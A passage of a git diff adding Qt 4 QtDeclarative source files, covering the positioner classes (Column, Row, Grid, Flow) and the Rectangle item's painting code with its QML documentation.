+#include <private/qdeclarativestate_p.h>
+#include <private/qpodvector_p.h>
+
+#include <QtCore/QObject>
+#include <QtCore/QString>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+class QDeclarativeBasePositionerPrivate;
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBasePositioner : public QDeclarativeImplicitSizeItem
+{
+ Q_OBJECT
+
+ Q_PROPERTY(int spacing READ spacing WRITE setSpacing NOTIFY spacingChanged)
+ Q_PROPERTY(QDeclarativeTransition *move READ move WRITE setMove NOTIFY moveChanged)
+ Q_PROPERTY(QDeclarativeTransition *add READ add WRITE setAdd NOTIFY addChanged)
+public:
+ enum PositionerType { None = 0x0, Horizontal = 0x1, Vertical = 0x2, Both = 0x3 };
+ QDeclarativeBasePositioner(PositionerType, QDeclarativeItem *parent);
+ ~QDeclarativeBasePositioner();
+
+ int spacing() const;
+ void setSpacing(int);
+
+ QDeclarativeTransition *move() const;
+ void setMove(QDeclarativeTransition *);
+
+ QDeclarativeTransition *add() const;
+ void setAdd(QDeclarativeTransition *);
+
+protected:
+ QDeclarativeBasePositioner(QDeclarativeBasePositionerPrivate &dd, PositionerType at, QDeclarativeItem *parent);
+ virtual void componentComplete();
+ virtual QVariant itemChange(GraphicsItemChange, const QVariant &);
+ void finishApplyTransitions();
+
+Q_SIGNALS:
+ void spacingChanged();
+ void moveChanged();
+ void addChanged();
+
+protected Q_SLOTS:
+ void prePositioning();
+ void graphicsWidgetGeometryChanged();
+
+protected:
+ virtual void doPositioning(QSizeF *contentSize)=0;
+ virtual void reportConflictingAnchors()=0;
+ class PositionedItem {
+ public :
+ PositionedItem(QGraphicsObject *i) : item(i), isNew(false), isVisible(true) {}
+ bool operator==(const PositionedItem &other) const { return other.item == item; }
+ QGraphicsObject *item;
+ bool isNew;
+ bool isVisible;
+ };
+
+ QPODVector<PositionedItem,8> positionedItems;
+ void positionX(int,const PositionedItem &target);
+ void positionY(int,const PositionedItem &target);
+
+private:
+ Q_DISABLE_COPY(QDeclarativeBasePositioner)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeBasePositioner)
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeColumn : public QDeclarativeBasePositioner
+{
+ Q_OBJECT
+public:
+ QDeclarativeColumn(QDeclarativeItem *parent=0);
+protected:
+ virtual void doPositioning(QSizeF *contentSize);
+ virtual void reportConflictingAnchors();
+private:
+ Q_DISABLE_COPY(QDeclarativeColumn)
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeRow: public QDeclarativeBasePositioner
+{
+ Q_OBJECT
+ Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
+public:
+ QDeclarativeRow(QDeclarativeItem *parent=0);
+
+ Qt::LayoutDirection layoutDirection() const;
+ void setLayoutDirection (Qt::LayoutDirection);
+ Qt::LayoutDirection effectiveLayoutDirection() const;
+
+Q_SIGNALS:
+ Q_REVISION(1) void layoutDirectionChanged();
+
+protected:
+ virtual void doPositioning(QSizeF *contentSize);
+ virtual void reportConflictingAnchors();
+private:
+ Q_DISABLE_COPY(QDeclarativeRow)
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeGrid : public QDeclarativeBasePositioner
+{
+ Q_OBJECT
+ Q_PROPERTY(int rows READ rows WRITE setRows NOTIFY rowsChanged)
+ Q_PROPERTY(int columns READ columns WRITE setColumns NOTIFY columnsChanged)
+ Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged)
+ Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
+public:
+ QDeclarativeGrid(QDeclarativeItem *parent=0);
+
+ int rows() const {return m_rows;}
+ void setRows(const int rows);
+
+ int columns() const {return m_columns;}
+ void setColumns(const int columns);
+
+ Q_ENUMS(Flow)
+ enum Flow { LeftToRight, TopToBottom };
+ Flow flow() const;
+ void setFlow(Flow);
+
+ Qt::LayoutDirection layoutDirection() const;
+ void setLayoutDirection (Qt::LayoutDirection);
+ Qt::LayoutDirection effectiveLayoutDirection() const;
+
+Q_SIGNALS:
+ void rowsChanged();
+ void columnsChanged();
+ void flowChanged();
+ Q_REVISION(1) void layoutDirectionChanged();
+
+protected:
+ virtual void doPositioning(QSizeF *contentSize);
+ virtual void reportConflictingAnchors();
+
+private:
+ int m_rows;
+ int m_columns;
+ Flow m_flow;
+ Q_DISABLE_COPY(QDeclarativeGrid)
+};
+
+class QDeclarativeFlowPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeFlow: public QDeclarativeBasePositioner
+{
+ Q_OBJECT
+ Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged)
+ Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
+public:
+ QDeclarativeFlow(QDeclarativeItem *parent=0);
+
+ Q_ENUMS(Flow)
+ enum Flow { LeftToRight, TopToBottom };
+ Flow flow() const;
+ void setFlow(Flow);
+
+ Qt::LayoutDirection layoutDirection() const;
+ void setLayoutDirection (Qt::LayoutDirection);
+ Qt::LayoutDirection effectiveLayoutDirection() const;
+Q_SIGNALS:
+ void flowChanged();
+ Q_REVISION(1) void layoutDirectionChanged();
+
+protected:
+ virtual void doPositioning(QSizeF *contentSize);
+ virtual void reportConflictingAnchors();
+protected:
+ QDeclarativeFlow(QDeclarativeFlowPrivate &dd, QDeclarativeItem *parent);
+private:
+ Q_DISABLE_COPY(QDeclarativeFlow)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeFlow)
+};
+
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeColumn)
+QML_DECLARE_TYPE(QDeclarativeRow)
+QML_DECLARE_TYPE(QDeclarativeGrid)
+QML_DECLARE_TYPE(QDeclarativeFlow)
+
+QT_END_HEADER
+
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h b/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h
new file mode 100644
index 00000000..2773a1d8
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h
@@ -0,0 +1,173 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVELAYOUTS_P_H
+#define QDECLARATIVELAYOUTS_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativepositioners_p.h"
+
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
+
+#include <qdeclarativestate_p.h>
+#include <qdeclarativetransitionmanager_p_p.h>
+#include <qdeclarativestateoperations_p.h>
+
+#include <QtCore/QObject>
+#include <QtCore/QString>
+#include <QtCore/QTimer>
+#include <QDebug>
+
+QT_BEGIN_NAMESPACE
+class QDeclarativeBasePositionerPrivate : public QDeclarativeImplicitSizeItemPrivate, public QDeclarativeItemChangeListener
+{
+ Q_DECLARE_PUBLIC(QDeclarativeBasePositioner)
+
+public:
+ QDeclarativeBasePositionerPrivate()
+ : spacing(0), type(QDeclarativeBasePositioner::None)
+ , moveTransition(0), addTransition(0), queuedPositioning(false)
+ , doingPositioning(false), anchorConflict(false), layoutDirection(Qt::LeftToRight)
+ {
+ }
+
+ void init(QDeclarativeBasePositioner::PositionerType at)
+ {
+ type = at;
+ }
+
+ int spacing;
+
+ QDeclarativeBasePositioner::PositionerType type;
+ QDeclarativeTransition *moveTransition;
+ QDeclarativeTransition *addTransition;
+ QDeclarativeStateOperation::ActionList addActions;
+ QDeclarativeStateOperation::ActionList moveActions;
+ QDeclarativeTransitionManager addTransitionManager;
+ QDeclarativeTransitionManager moveTransitionManager;
+
+ void watchChanges(QGraphicsObject *other);
+ void unwatchChanges(QGraphicsObject* other);
+ bool queuedPositioning : 1;
+ bool doingPositioning : 1;
+ bool anchorConflict : 1;
+
+ Qt::LayoutDirection layoutDirection;
+
+
+ void schedulePositioning()
+ {
+ Q_Q(QDeclarativeBasePositioner);
+ if(!queuedPositioning){
+ QTimer::singleShot(0,q,SLOT(prePositioning()));
+ queuedPositioning = true;
+ }
+ }
+
+ void mirrorChange() {
+ Q_Q(QDeclarativeBasePositioner);
+ if (type != QDeclarativeBasePositioner::Vertical)
+ q->prePositioning();
+ }
+ bool isLeftToRight() const {
+ if (type == QDeclarativeBasePositioner::Vertical)
+ return true;
+ else
+ return effectiveLayoutMirror ? layoutDirection == Qt::RightToLeft : layoutDirection == Qt::LeftToRight;
+ }
+
+ virtual void itemSiblingOrderChanged(QDeclarativeItem* other)
+ {
+ Q_UNUSED(other);
+ //Delay is due to many children often being reordered at once
+ //And we only want to reposition them all once
+ schedulePositioning();
+ }
+
+ void itemGeometryChanged(QDeclarativeItem *, const QRectF &newGeometry, const QRectF &oldGeometry)
+ {
+ Q_Q(QDeclarativeBasePositioner);
+ if (newGeometry.size() != oldGeometry.size())
+ q->prePositioning();
+ }
+
+ virtual void itemVisibilityChanged(QDeclarativeItem *)
+ {
+ schedulePositioning();
+ }
+ virtual void itemOpacityChanged(QDeclarativeItem *)
+ {
+ Q_Q(QDeclarativeBasePositioner);
+ q->prePositioning();
+ }
+
+ void itemDestroyed(QDeclarativeItem *item)
+ {
+ Q_Q(QDeclarativeBasePositioner);
+ q->positionedItems.removeOne(QDeclarativeBasePositioner::PositionedItem(item));
+ }
+
+ static Qt::LayoutDirection getLayoutDirection(const QDeclarativeBasePositioner *positioner)
+ {
+ return positioner->d_func()->layoutDirection;
+ }
+
+ static Qt::LayoutDirection getEffectiveLayoutDirection(const QDeclarativeBasePositioner *positioner)
+ {
+ if (positioner->d_func()->effectiveLayoutMirror)
+ return positioner->d_func()->layoutDirection == Qt::RightToLeft ? Qt::LeftToRight : Qt::RightToLeft;
+ else
+ return positioner->d_func()->layoutDirection;
+ }
+};
+
+QT_END_NAMESPACE
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativerectangle.cpp b/src/declarative/graphicsitems/qdeclarativerectangle.cpp
new file mode 100644
index 00000000..e4389ec1
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativerectangle.cpp
@@ -0,0 +1,587 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativerectangle_p.h"
+#include "private/qdeclarativerectangle_p_p.h"
+
+#include <QPainter>
+#include <QStringBuilder>
+#include <QtCore/qmath.h>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \internal
+ \class QDeclarativePen
+ \brief The QDeclarativePen class provides a pen used for drawing rectangle borders on a QDeclarativeView.
+
+ By default, the pen is invalid and nothing is drawn. You must either set a color (then the default
+ width is 1) or a width (then the default color is black).
+
+ A width of 1 indicates is a single-pixel line on the border of the item being painted.
+
+ Example:
+ \qml
+ Rectangle {
+ border.width: 2
+ border.color: "red"
+ }
+ \endqml
+*/
+
+void QDeclarativePen::setColor(const QColor &c)
+{
+ _color = c;
+ _valid = (_color.alpha() && _width >= 1) ? true : false;
+ emit penChanged();
+}
+
+void QDeclarativePen::setWidth(int w)
+{
+ if (_width == w && _valid)
+ return;
+
+ _width = w;
+ _valid = (_color.alpha() && _width >= 1) ? true : false;
+ emit penChanged();
+}
+
+
+/*!
+ \qmlclass GradientStop QDeclarativeGradientStop
+ \ingroup qml-basic-visual-elements
+ \since 4.7
+ \brief The GradientStop item defines the color at a position in a Gradient.
+
+ \sa Gradient
+*/
+
+/*!
+ \qmlproperty real GradientStop::position
+ \qmlproperty color GradientStop::color
+
+ The position and color properties describe the color used at a given
+ position in a gradient, as represented by a gradient stop.
+
+ The default position is 0.0; the default color is black.
+
+ \sa Gradient
+*/
+
+void QDeclarativeGradientStop::updateGradient()
+{
+ if (QDeclarativeGradient *grad = qobject_cast<QDeclarativeGradient*>(parent()))
+ grad->doUpdate();
+}
+
+/*!
+ \qmlclass Gradient QDeclarativeGradient
+ \ingroup qml-basic-visual-elements
+ \since 4.7
+ \brief The Gradient item defines a gradient fill.
+
+ A gradient is defined by two or more colors, which will be blended seamlessly.
+
+ The colors are specified as a set of GradientStop child items, each of
+ which defines a position on the gradient from 0.0 to 1.0 and a color.
+ The position of each GradientStop is defined by setting its
+ \l{GradientStop::}{position} property; its color is defined using its
+ \l{GradientStop::}{color} property.
+
+ A gradient without any gradient stops is rendered as a solid white fill.
+
+ Note that this item is not a visual representation of a gradient. To display a
+ gradient, use a visual element (like \l Rectangle) which supports the use
+ of gradients.
+
+ \section1 Example Usage
+
+ \div {class="float-right"}
+ \inlineimage qml-gradient.png
+ \enddiv
+
+ The following example declares a \l Rectangle item with a gradient starting
+ with red, blending to yellow at one third of the height of the rectangle,
+ and ending with green:
+
+ \snippet doc/src/snippets/declarative/gradient.qml code
+
+ \clearfloat
+ \section1 Performance and Limitations
+
+ Calculating gradients can be computationally expensive compared to the use
+ of solid color fills or images. Consider using gradients for static items
+ in a user interface.
+
+ In Qt 4.7, only vertical, linear gradients can be applied to items. If you
+ need to apply different orientations of gradients, a combination of rotation
+ and clipping will need to be applied to the relevant items. This can
+ introduce additional performance requirements for your application.
+
+ The use of animations involving gradient stops may not give the desired
+ result. An alternative way to animate gradients is to use pre-generated
+ images or SVG drawings containing gradients.
+
+ \sa GradientStop
+*/
+
+/*!
+ \qmlproperty list<GradientStop> Gradient::stops
+ This property holds the gradient stops describing the gradient.
+
+ By default, this property contains an empty list.
+
+ To set the gradient stops, define them as children of the Gradient element.
+*/
+
+const QGradient *QDeclarativeGradient::gradient() const
+{
+ if (!m_gradient && !m_stops.isEmpty()) {
+ m_gradient = new QLinearGradient(0,0,0,1.0);
+ for (int i = 0; i < m_stops.count(); ++i) {
+ const QDeclarativeGradientStop *stop = m_stops.at(i);
+ m_gradient->setCoordinateMode(QGradient::ObjectBoundingMode);
+ m_gradient->setColorAt(stop->position(), stop->color());
+ }
+ }
+
+ return m_gradient;
+}
+
+void QDeclarativeGradient::doUpdate()
+{
+ delete m_gradient;
+ m_gradient = 0;
+ emit updated();
+}
+
+
+/*!
+ \qmlclass Rectangle QDeclarativeRectangle
+ \ingroup qml-basic-visual-elements
+ \since 4.7
+ \brief The Rectangle item provides a filled rectangle with an optional border.
+ \inherits Item
+
+ Rectangle items are used to fill areas with solid color or gradients, and are
+ often used to hold other items.
+
+ \section1 Appearance
+
+ Each Rectangle item is painted using either a solid fill color, specified using
+ the \l color property, or a gradient, defined using a Gradient element and set
+ using the \l gradient property. If both a color and a gradient are specified,
+ the gradient is used.
+
+ You can add an optional border to a rectangle with its own color and thickness
+ by settting the \l border.color and \l border.width properties.
+
+ You can also create rounded rectangles using the \l radius property. Since this
+ introduces curved edges to the corners of a rectangle, it may be appropriate to
+ set the \l smooth property to improve its appearance.
+
+ \section1 Example Usage
+
+ \div {class="float-right"}
+ \inlineimage declarative-rect.png
+ \enddiv
+
+ The following example shows the effects of some of the common properties on a
+ Rectangle item, which in this case is used to create a square:
+
+ \snippet doc/src/snippets/declarative/rectangle/rectangle.qml document
+
+ \clearfloat
+ \section1 Performance
+
+ Using the \l smooth property improves the appearance of a rounded rectangle at
+ the cost of rendering performance. You should consider unsetting this property
+ for rectangles in motion, and only set it when they are stationary.
+
+ \sa Image
+*/
+
+int QDeclarativeRectanglePrivate::doUpdateSlotIdx = -1;
+
+QDeclarativeRectangle::QDeclarativeRectangle(QDeclarativeItem *parent)
+ : QDeclarativeItem(*(new QDeclarativeRectanglePrivate), parent)
+{
+}
+
+void QDeclarativeRectangle::doUpdate()
+{
+ Q_D(QDeclarativeRectangle);
+ d->rectImage = QPixmap();
+ const int pw = d->pen && d->pen->isValid() ? d->pen->width() : 0;
+ d->setPaintMargin((pw+1)/2);
+ update();
+}
+
+/*!
+ \qmlproperty int Rectangle::border.width
+ \qmlproperty color Rectangle::border.color
+
+ The width and color used to draw the border of the rectangle.
+
+ A width of 1 creates a thin line. For no line, use a width of 0 or a transparent color.
+
+ \note The width of the rectangle's border does not affect the geometry of the
+ rectangle itself or its position relative to other items if anchors are used.
+
+ If \c border.width is an odd number, the rectangle is painted at a half-pixel offset to retain
+ border smoothness. Also, the border is rendered evenly on either side of the
+ rectangle's boundaries, and the spare pixel is rendered to the right and below the
+ rectangle (as documented for QRect rendering). This can cause unintended effects if
+ \c border.width is 1 and the rectangle is \l{Item::clip}{clipped} by a parent item:
+
+ \div {class="float-right"}
+ \inlineimage rect-border-width.png
+ \enddiv
+
+ \snippet doc/src/snippets/declarative/rectangle/rect-border-width.qml 0
+
+ \clearfloat
+ Here, the innermost rectangle's border is clipped on the bottom and right edges by its
+ parent. To avoid this, the border width can be set to two instead of one.
+*/
+QDeclarativePen *QDeclarativeRectangle::border()
+{
+ Q_D(QDeclarativeRectangle);
+ return d->getPen();
+}
+
+/*!
+ \qmlproperty Gradient Rectangle::gradient
+
+ The gradient to use to fill the rectangle.
+
+ This property allows for the construction of simple vertical gradients.
+ Other gradients may by formed by adding rotation to the rectangle.
+
+ \div {class="float-left"}
+ \inlineimage declarative-rect_gradient.png
+ \enddiv
+
+ \snippet doc/src/snippets/declarative/rectangle/rectangle-gradient.qml rectangles
+ \clearfloat
+
+ If both a gradient and a color are specified, the gradient will be used.
+
+ \sa Gradient, color
+*/
+QDeclarativeGradient *QDeclarativeRectangle::gradient() const
+{
+ Q_D(const QDeclarativeRectangle);
+ return d->gradient;
+}
+
+void QDeclarativeRectangle::setGradient(QDeclarativeGradient *gradient)
+{
+ Q_D(QDeclarativeRectangle);
+ if (d->gradient == gradient)
+ return;
+ static int updatedSignalIdx = -1;
+ if (updatedSignalIdx < 0)
+ updatedSignalIdx = QDeclarativeGradient::staticMetaObject.indexOfSignal("updated()");
+ if (d->doUpdateSlotIdx < 0)
+ d->doUpdateSlotIdx = QDeclarativeRectangle::staticMetaObject.indexOfSlot("doUpdate()");
+ if (d->gradient)
+ QMetaObject::disconnect(d->gradient, updatedSignalIdx, this, d->doUpdateSlotIdx);
+ d->gradient = gradient;
+ if (d->gradient)
+ QMetaObject::connect(d->gradient, updatedSignalIdx, this, d->doUpdateSlotIdx);
+ update();
+}
+
+
+/*!
+ \qmlproperty real Rectangle::radius
+ This property holds the corner radius used to draw a rounded rectangle.
+
+ If radius is non-zero, the rectangle will be painted as a rounded rectangle, otherwise it will be
+ painted as a normal rectangle. The same radius is used by all 4 corners; there is currently
+ no way to specify different radii for different corners.
+*/
+qreal QDeclarativeRectangle::radius() const
+{
+ Q_D(const QDeclarativeRectangle);
+ return d->radius;
+}
+
+void QDeclarativeRectangle::setRadius(qreal radius)
+{
+ Q_D(QDeclarativeRectangle);
+ if (d->radius == radius)
+ return;
+
+ d->radius = radius;
+ d->rectImage = QPixmap();
+ update();
+ emit radiusChanged();
+}
+
+/*!
+ \qmlproperty color Rectangle::color
+ This property holds the color used to fill the rectangle.
+
+ The default color is white.
+
+ \div {class="float-right"}
+ \inlineimage rect-color.png
+ \enddiv
+
+ The following example shows rectangles with colors specified
+ using hexadecimal and named color notation:
+
+ \snippet doc/src/snippets/declarative/rectangle/rectangle-colors.qml rectangles
+
+ \clearfloat
+ If both a gradient and a color are specified, the gradient will be used.
+
+ \sa gradient
+*/
+QColor QDeclarativeRectangle::color() const
+{
+ Q_D(const QDeclarativeRectangle);
+ return d->color;
+}
+
+void QDeclarativeRectangle::setColor(const QColor &c)
+{
+ Q_D(QDeclarativeRectangle);
+ if (d->color == c)
+ return;
+
+ d->color = c;
+ d->rectImage = QPixmap();
+ update();
+ emit colorChanged();
+}
+
+void QDeclarativeRectangle::generateRoundedRect()
+{
+ Q_D(QDeclarativeRectangle);
+ if (d->rectImage.isNull()) {
+ const int pw = d->pen && d->pen->isValid() ? d->pen->width() : 0;
+ const int radius = qCeil(d->radius); //ensure odd numbered width/height so we get 1-pixel center
+
+ QString key = QLatin1String("q_") % QString::number(pw) % d->color.name() % QString::number(d->color.alpha(), 16) % QLatin1Char('_') % QString::number(radius);
+ if (d->pen && d->pen->isValid())
+ key += d->pen->color().name() % QString::number(d->pen->color().alpha(), 16);
+
+ if (!QPixmapCache::find(key, &d->rectImage)) {
+ d->rectImage = QPixmap(radius*2 + 3 + pw*2, radius*2 + 3 + pw*2);
+ d->rectImage.fill(Qt::transparent);
+ QPainter p(&(d->rectImage));
+ p.setRenderHint(QPainter::Antialiasing);
+ if (d->pen && d->pen->isValid()) {
+ QPen pn(QColor(d->pen->color()), d->pen->width());
+ p.setPen(pn);
+ } else {
+ p.setPen(Qt::NoPen);
+ }
+ p.setBrush(d->color);
+ if (pw%2)
+ p.drawRoundedRect(QRectF(qreal(pw)/2+1, qreal(pw)/2+1, d->rectImage.width()-(pw+1), d->rectImage.height()-(pw+1)), d->radius, d->radius);
+ else
+ p.drawRoundedRect(QRectF(qreal(pw)/2, qreal(pw)/2, d->rectImage.width()-pw, d->rectImage.height()-pw), d->radius, d->radius);
+
+ // end painting before inserting pixmap
+ // to pixmap cache to avoid a deep copy
+ p.end();
+ QPixmapCache::insert(key, d->rectImage);
+ }
+ }
+}
+
+void QDeclarativeRectangle::generateBorderedRect()
+{
+ Q_D(QDeclarativeRectangle);
+ if (d->rectImage.isNull()) {
+ const int pw = d->pen && d->pen->isValid() ? d->pen->width() : 0;
+
+ QString key = QLatin1String("q_") % QString::number(pw) % d->color.name() % QString::number(d->color.alpha(), 16);
+ if (d->pen && d->pen->isValid())
+ key += d->pen->color().name() % QString::number(d->pen->color().alpha(), 16);
+
+ if (!QPixmapCache::find(key, &d->rectImage)) {
+ // Adding 5 here makes qDrawBorderPixmap() paint correctly with smooth: true
+ // See QTBUG-7999 and QTBUG-10765 for more details.
+ d->rectImage = QPixmap(pw*2 + 5, pw*2 + 5);
+ d->rectImage.fill(Qt::transparent);
+ QPainter p(&(d->rectImage));
+ p.setRenderHint(QPainter::Antialiasing);
+ if (d->pen && d->pen->isValid()) {
+ QPen pn(QColor(d->pen->color()), d->pen->width());
+ pn.setJoinStyle(Qt::MiterJoin);
+ p.setPen(pn);
+ } else {
+ p.setPen(Qt::NoPen);
+ }
+ p.setBrush(d->color);
+ if (pw%2)
+ p.drawRect(QRectF(qreal(pw)/2+1, qreal(pw)/2+1, d->rectImage.width()-(pw+1), d->rectImage.height()-(pw+1)));
+ else
+ p.drawRect(QRectF(qreal(pw)/2, qreal(pw)/2, d->rectImage.width()-pw, d->rectImage.height()-pw));
+
+ // end painting before inserting pixmap
+ // to pixmap cache to avoid a deep copy
+ p.end();
+ QPixmapCache::insert(key, d->rectImage);
+ }
+ }
+}
+
+void QDeclarativeRectangle::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *)
+{
+ Q_D(QDeclarativeRectangle);
+ if (width() <= 0 || height() <= 0)
+ return;
+ if (d->radius > 0 || (d->pen && d->pen->isValid())
+ || (d->gradient && d->gradient->gradient()) ) {
+ drawRect(*p);
+ }
+ else {
+ bool oldAA = p->testRenderHint(QPainter::Antialiasing);
+ if (d->smooth)
+ p->setRenderHints(QPainter::Antialiasing, true);
+ p->fillRect(QRectF(0, 0, width(), height()), d->color);
+ if (d->smooth)
+ p->setRenderHint(QPainter::Antialiasing, oldAA);
+ }
+}
+
+void QDeclarativeRectangle::drawRect(QPainter &p)
+{
+ Q_D(QDeclarativeRectangle);
+ if ((d->gradient && d->gradient->gradient())
+ || d->radius > width()/2 || d->radius > height()/2
+ || width() < 3 || height() < 3) {
+ // XXX This path is still slower than the image path
+ // Image path won't work for gradients or invalid radius though
+ bool oldAA = p.testRenderHint(QPainter::Antialiasing);
+ if (d->smooth)
+ p.setRenderHint(QPainter::Antialiasing);
+ if (d->pen && d->pen->isValid()) {
+ QPen pn(QColor(d->pen->color()), d->pen->width());
+ pn.setJoinStyle(Qt::MiterJoin);
+ p.setPen(pn);
+ } else {
+ p.setPen(Qt::NoPen);
+ }
+ if (d->gradient && d->gradient->gradient())
+ p.setBrush(*d->gradient->gradient());
+ else
+ p.setBrush(d->color);
+ const int pw = d->pen && d->pen->isValid() ? d->pen->width() : 0;
+ QRectF rect;
+ if (pw%2)
+ rect = QRectF(0.5, 0.5, width()-1, height()-1);
+ else
+ rect = QRectF(0, 0, width(), height());
+ qreal radius = d->radius;
+ if (radius > width()/2 || radius > height()/2)
+ radius = qMin(width()/2, height()/2);
+ if (radius > 0.)
+ p.drawRoundedRect(rect, radius, radius);
+ else
+ p.drawRect(rect);
+ if (d->smooth)
+ p.setRenderHint(QPainter::Antialiasing, oldAA);
+ } else {
+ bool oldAA = p.testRenderHint(QPainter::Antialiasing);
+ bool oldSmooth = p.testRenderHint(QPainter::SmoothPixmapTransform);
+ if (d->smooth)
+ p.setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth);
+
+ const int pw = d->pen && d->pen->isValid() ? (d->pen->width()+1)/2*2 : 0;
+
+ if (d->radius > 0)
+ generateRoundedRect();
+ else
+ generateBorderedRect();
+
+ int xOffset = (d->rectImage.width()-1)/2;
+ int yOffset = (d->rectImage.height()-1)/2;
+ Q_ASSERT(d->rectImage.width() == 2*xOffset + 1);
+ Q_ASSERT(d->rectImage.height() == 2*yOffset + 1);
+
+ // check whether we've eliminated the center completely
+ if (2*xOffset > width()+pw)
+ xOffset = (width()+pw)/2;
+ if (2*yOffset > height()+pw)
+ yOffset = (height()+pw)/2;
+
+ QMargins margins(xOffset, yOffset, xOffset, yOffset);
+ QTileRules rules(Qt::StretchTile, Qt::StretchTile);
+ //NOTE: even though our item may have qreal-based width and height, qDrawBorderPixmap only supports QRects
+ qDrawBorderPixmap(&p, QRect(-pw/2, -pw/2, width()+pw, height()+pw), margins, d->rectImage, d->rectImage.rect(), margins, rules);
+
+ if (d->smooth) {
+ p.setRenderHint(QPainter::Antialiasing, oldAA);
+ p.setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth);
+ }
+ }
+}
+
+/*!
+ \qmlproperty bool Rectangle::smooth
+
+ Set this property if you want the item to be smoothly scaled or
+ transformed. Smooth filtering gives better visual quality, but is slower. If
+ the item is displayed at its natural size, this property has no visual or
+ performance effect.
+
+ \note Generally scaling artifacts are only visible if the item is stationary on
+ the screen. A common pattern when animating an item is to disable smooth
+ filtering at the beginning of the animation and reenable it at the conclusion.
+
+ \image rect-smooth.png
+ On this image, smooth is turned off on the top half and on on the bottom half.
+*/
+
+QRectF QDeclarativeRectangle::boundingRect() const
+{
+ Q_D(const QDeclarativeRectangle);
+ return QRectF(-d->paintmargin, -d->paintmargin, d->width()+d->paintmargin*2, d->height()+d->paintmargin*2);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativerectangle_p.h b/src/declarative/graphicsitems/qdeclarativerectangle_p.h
new file mode 100644
index 00000000..450e9bf9
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativerectangle_p.h
@@ -0,0 +1,188 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
